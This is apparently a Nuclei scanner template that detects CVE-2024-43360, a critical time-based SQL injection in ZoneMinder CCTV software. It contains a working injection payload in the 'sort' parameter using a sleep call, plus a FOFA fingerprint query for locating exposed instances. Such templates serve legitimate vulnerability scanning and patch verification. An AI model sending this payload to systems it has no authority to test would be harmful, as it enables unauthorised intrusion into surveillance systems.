id: CVE-2024-43360

info:
  name: ZoneMinder - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    ZoneMinder is a free, open source closed-circuit television software application. ZoneMinder is affected by a time-based SQL Injection vulnerability. This vulnerability is fixed in 1.36.34 and 1.37.61.
  reference:
    - https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-9cmr-7437-v9fj
    - https://medium.com/techpioneers/cve-2024-43360-in-depth-analysis-and-implications-for-security-75ceccc746b4
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43360
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-43360
    cwe-id: CWE-89
    epss-score: 0.00068
    epss-percentile: 0.30893
    cpe: cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zoneminder
    product: zoneminder
    fofa-query: icon_hash="-1218152116"
  tags: cve,cve2024,zoneminder,sqli

http:
  - raw:
      - |
        @timeout 20s
        GET /zm/index.php?sort=if(now()=sysdate()%2Csleep(6)%2C0)&order=desc&limit=20&view=request&request=watch&mid=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains_all(body,"result\":\"Ok", "rows\":[")'
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100cfd9a4adac8f52fc0c768b5f528a8bd4b4b02db9af66b1a955ba78f28b2e883a022100fa586fd0ed64ec526da20188bee7cee0ef9ba731c29f5e8f46d27ced35ea6a04:922c64590222798bb761d5b6d8e72950